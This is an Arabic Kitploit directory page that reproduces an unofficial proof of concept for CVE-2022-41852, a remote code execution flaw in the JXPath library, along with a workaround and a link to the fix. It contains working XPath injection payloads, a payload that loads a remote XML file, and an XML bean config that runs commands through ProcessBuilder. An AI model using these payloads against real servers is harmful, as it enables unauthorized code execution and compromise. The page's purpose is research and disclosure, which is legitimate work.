Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2022-41852 — CVE-2022-41852 إثبات المفهوم (غير رسمي) | Kitploit
أدوات/GitHubGitHub/warxim/cve-2022-41852
تحليل الثغرات الأمنيةتحليل الكودالاستغلالاستغلال تطبيقات الويباختبار الاختراقتطوير الحمولات
GitHubwarxim/cve-2022-41852

CVE-2022-41852

CVE-2022-41852 إثبات المفهوم (غير رسمي)

عرض المستودع
7415منذ 3 سنواتتمت المراجعة من قبل Kitploit

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة
الموقع الإلكتروني

إثبات المفهوم لتنفيذ التعليمات البرمجية عن بُعد في مكتبة JXPath (CVE-2022-41852)

يسمح CVE-2022-41852 للمهاجمين بتنفيذ تعليمات برمجية على خادم التطبيق.

يمكنك قراءة المزيد عن هذه الثغرة الأمنية هنا:

  • https://hackinglab.cz/en/blog/remote-code-execution-in-jxpath-library-cve-2022-41852/

ملاحظة: لست مؤلفًا لهذا CVE. لقد قمت فقط بإنشاء هذا الإثبات للمفهوم.

روابط مفيدة

  • JXPath GitHub
  • JXPath Website
  • MITRE CVE-2022-41852
  • NIST CVE-2022-41852

وصف الثغرة الأمنية

مكتبة JXPath تدعم تشغيل الدوال في تعبيرات XPath (انظر الدليل الرسمي للمستخدم).

على سبيل المثال، الدالتان JXPathContext.getValue(path) و JXPathContext.iterate(path) خطيرتان إذا سمحت للمستخدم بإرسال مُدخلات إلى معامل path.

وصف الإثبات للمفهوم

يقوم هذا الإثبات للمفهوم بتشغيل خادم Spring بسيط مع نقطتين نهاية:

  • /vulnerable-example?path=[path]
  • /secure-example?path=[path]

تحتوي نقطتا النهاية هاتان على معامل استعلام واحد فقط "path".

عناوين URL المحتملة للطلبات

الطلبات التالية ستعمل بشكل طبيعي (لن تسبب أي مشاكل):

  • http://localhost:8080/secure-example?path=name
  • http://localhost:8080/secure-example?path=website
  • http://localhost:8080/secure-example?path=/
  • http://localhost:8080/vulnerable-example?path=name
  • http://localhost:8080/vulnerable-example?path=website
  • http://localhost:8080/vulnerable-example?path=/

الطلبات التالية ستسبب تنفيذ التعليمات البرمجية:

  • http://localhost:8080/vulnerable-example?path=java.lang.System.exit(42)
  • http://localhost:8080/vulnerable-example?path=java.lang.Thread.sleep(10000)

أمثلة على الحمولات

أمثلة على الحمولات لاكتشاف CVE-2022-41852:

  • java.lang.System.exit(42)
  • java.lang.Thread.sleep(10000)
  • /|java.lang.System.exit(42)
  • |java.lang.System.exit(42)

قد تكون هناك طرق متعددة لتنفيذ الأوامر. إحداها هي استخدام ClassPathXmlApplicationContext الخاص بـ Spring:

  • org.springframework.context.support.ClassPathXmlApplicationContext.new("https://warxim.com/calc.xml")

في ملف XML، يمكنك تعريف تكوين الـ bean، على سبيل المثال، يمكنك إنشاء مثيل من ProcessBuilder وتشغيل أمر محدد على الخادم عن طريق تهيئة الـ bean باستخدام دالة start(). في المثال التالي، سيتم فتح الآلة الحاسبة على جهاز Windows:

root@kitploit:~
<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
  <bean id="commandRunner" class="java.lang.ProcessBuilder" init-method="start">
    <constructor-arg>
      <list>
        <value>cmd</value>
        <value>/c</value>
        <value><![CDATA[calc]]></value>
      </list>
    </constructor-arg>
  </bean>
</beans>

هناك أيضًا طريقة لتحميل فئات جديدة عن طريق التنقل في الـ context bean، على سبيل المثال، الكود التالي سيقوم بتحميل الفئة com.warxim.dangerous.DangerousClass، وإنشاء مثيل لها واستدعاء الدالة run("warxim"):

root@kitploit:~
JXPathContext context = JXPathContext.newContext(new Data());
String jxPath = "run(newInstance(loadClass(getClassLoader(getClass(/)), \"com.warxim.dangerous.DangerousClass\")), \"warxim\")"
Object result = context.getValue(jxPath);

لاحظ أنه يجب علينا استدعاء دوال الكائن عن طريق وضع الكائن الذي يحتوي عليها كمعامل أول.

حل بديل لـ CVE-2022-41852

من الممكن تعطيل الدوال في JXPathContext عن طريق تعيين حقل functions إلى FunctionLibrary فارغ.

root@kitploit:~
// Create path context for person object
var pathContext = JXPathContext.newContext(person);

// Set empty function library
pathContext.setFunctions(new FunctionLibrary());

// getValue will throw org.apache.commons.jxpath.JXPathFunctionNotFoundException
return pathContext.getValue(path);

ملاحظة: سيعطل ذلك جميع الدوال، لذا حتى الدوال مثل size() لن تكون متاحة.

الإصلاح

يجري تطوير الإصلاح، انظر https://github.com/apache/commons-jxpath/pull/26

تنزيل الأداة